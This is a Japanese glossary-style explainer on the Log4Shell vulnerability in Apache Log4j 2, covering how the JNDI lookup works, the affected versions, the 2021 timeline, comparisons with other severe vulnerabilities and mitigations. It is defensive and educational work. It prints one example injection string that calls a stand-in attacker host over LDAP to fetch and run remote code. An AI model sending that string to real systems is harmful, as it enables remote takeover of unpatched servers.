Log4Shell ろぐふぉーしぇる
簡単に言うとこんな感じ!
Log4Shellは、世界中のサーバーで使われているJava製ログ記録ツール「Log4j」に見つかった超ヤバい脆弱性だよ。攻撃者が特殊な文字列を送り込むだけで、そのサーバーを乗っ取れちゃうんだ。2021年末に発覚して「史上最悪級の脆弱性」とも呼ばれたってこと!
Log4Shellとは
Log4Shellとは、Javaのログ出力ライブラリ「Apache Log4j 2」に存在した重大な脆弱性(セキュリティ上の欠陥)の通称です。正式な識別番号は CVE-2021-44228 で、2021年12月9日に公開されました。CVSSスコア(脆弱性の深刻度を示す指標)は満点の 10.0、つまり「考えうる限り最も危険」と評価されています。
この脆弱性の本質は、攻撃者が用意した外部サーバーから任意のプログラムをダウンロード・実行させられる(リモートコード実行=RCE)点にあります。攻撃に必要なのは、たった1行の特殊な文字列をサーバーに「読み込ませる」だけ。チャット欄、ログイン画面、検索ボックスなど、入力が記録される場所ならどこでも攻撃が成立し得るため、影響範囲は世界規模に広がりました。
Log4jはJavaで書かれたソフトウェアの多くに「部品」として組み込まれており、Minecraft・Twitter・Amazon・Apple・Microsoftなど数え切れないほどのサービスが影響を受けました。「自社のシステムがJavaを使っているかどうか把握していない」という企業も多く、パッチ適用(修正プログラムの適用)に追われた2021年末は「セキュリティ業界のクリスマス大惨事」とも言われました。
Log4Shellの仕組み:なぜ1行で乗っ取れるのか
JNDI Lookupという「便利機能」が凶器になった
Log4jには JNDI(Java Naming and Directory Interface)Lookup という機能が組み込まれていました。これは「ログに記録するときに、外部のディレクトリサービスから情報を引っ張ってきて埋め込む」という便利な仕組みです。
ところが、この仕組みをそのまま悪用できてしまいました。
攻撃者が送り込む文字列の例:
${jndi:ldap://evil.example.com/exploit}
| ステップ | 何が起きるか |
|---|---|
| ① 攻撃者が特殊な文字列を送信 | チャット・検索欄・User-Agentなどに上記の文字列を入力 |
| ② サーバーがログに記録しようとする | Log4jが文字列を処理し始める |
| ③ JNDIが外部サーバーへ接続 | evil.example.com に自動でアクセス |
| ④ 悪意あるJavaクラスを取得 | 攻撃者のサーバーからコードをダウンロード |
| ⑤ コードが実行される | サーバー上で攻撃者の命令が動く(乗っ取り完了) |
攻撃が成立するための条件
- Log4j 2.0-beta9 〜 2.14.1 を使用している
- Javaのバージョンが特定のバージョン以下(Java 8u191以前など)
- サーバーが外部インターネットへの通信を許可している
この3つが揃うと、ほぼノーガードで攻撃が成立しました。
「Log4Shell」という名前の由来
| 部分 | 意味 |
|---|---|
| Log4 | Apache Log4j(ログライブラリの名前) |
| Shell | 攻撃者がサーバーでシェル(コマンド操作)を得られること |
「ログを記録するだけのツールを踏み台にシェルを奪う」という攻撃の本質を端的に表しています。
歴史と背景
- 2001年頃 Apache Log4j(バージョン1系)がオープンソースとして公開。Javaアプリのログ出力ツールとして急速に普及
- 2014年 Log4j 2系にJNDI Lookup機能が追加される。当時は「便利な拡張機能」として設計
- 2021年11月24日 セキュリティ研究者(Alibaba Cloudチーム)がApacheに脆弱性を報告
- 2021年12月9日 Minecraftのコミュニティフォーラムに概念実証コード(PoC)が流出・公開。脆弱性が世界に知れ渡る
- 2021年12月10日 CVE-2021-44228として正式に公開。各国のセキュリティ機関が緊急警告を発令
- 2021年12月13日 修正版 Log4j 2.15.0 リリース(ただし不完全)
- 2021年12月18日 さらなる脆弱性(CVE-2021-45046)が発覚し、2.16.0がリリース
- 2021年12月28日 Log4j 2.17.1 で一連の脆弱性がほぼ収束
- 2022年〜現在 古いシステムへの攻撃は継続中。パッチ未適用のサーバーが依然として標的に
影響範囲と対策の比較
Log4Shellが「史上最悪級」と言われる理由は、影響範囲の広さと攻撃の容易さのバランスにあります。
他の重大脆弱性との比較
| 脆弱性名 | 発覚年 | CVSSスコア | 影響範囲 | 攻撃の難易度 |
|---|---|---|---|---|
| Log4Shell (CVE-2021-44228) | 2021 | 10.0 | 非常に広範 | 極めて低い |
| Heartbleed (CVE-2014-0160) | 2014 | 7.5 | OpenSSL利用全般 | 低い |
| ShellShock (CVE-2014-6271) | 2014 | 10.0 | Bash利用環境 | 低い |
| EternalBlue (CVE-2017-0144) | 2017 | 8.1 | Windows SMB | 中程度 |
企業が取るべき対策(優先順位順)
| 優先度 | 対策内容 | 効果 |
|---|---|---|
| 🔴 最優先 | Log4j を 2.17.1 以上にアップデート | 根本解決 |
| 🔴 最優先 | Java のバージョンを最新に更新 | 攻撃経路の一部を遮断 |
| 🟠 高 | WAF(Webアプリケーションファイアウォール)で攻撃文字列をブロック | 暫定対処 |
| 🟠 高 | 外向きのLDAP/RMI通信をファイアウォールで遮断 | 攻撃の後段を阻止 |
| 🟡 中 | Log4j使用箇所の全棚卸し | 影響範囲の把握 |
| 🟡 中 | 侵害痕跡(IOC)のログ確認 | 事後の被害確認 |
関連する規格・RFC
| 規格・番号 | 内容 |
|---|---|
| CVE-2021-44228 | Log4Shell 本体の脆弱性識別番号 |
| CVE-2021-45046 | Log4j 2.15.0 で不完全だった修正に対する追加脆弱性 |
| CVE-2021-45105 | DoS(サービス停止)を引き起こす関連脆弱性 |
| CVE-2021-44832 | 設定ファイル改ざんによる関連脆弱性 |
| CVSS v3.1 | 脆弱性の深刻度スコアリング規格(Log4ShellはMAX 10.0) |
| NIST SP 800-40 | パッチ管理のベストプラクティスガイド |
関連用語
- CVE(Common Vulnerabilities and Exposures) — 脆弱性に付与される世界共通の識別番号体系
- RCE(リモートコード実行) — 攻撃者が遠隔からサーバー上で任意のコードを実行できる攻撃手法
- WAF(Webアプリケーションファイアウォール) — Webアプリへの攻撃を検知・ブロックする防御装置
- ゼロデイ脆弱性 — 修正パッチが存在しない状態で公開・悪用される脆弱性
- JNDI(Java Naming and Directory Interface) — Javaアプリが外部ディレクトリサービスを参照するための仕組み
- 脆弱性スキャン — システムに潜む既知の脆弱性を自動的に検出するツール・手法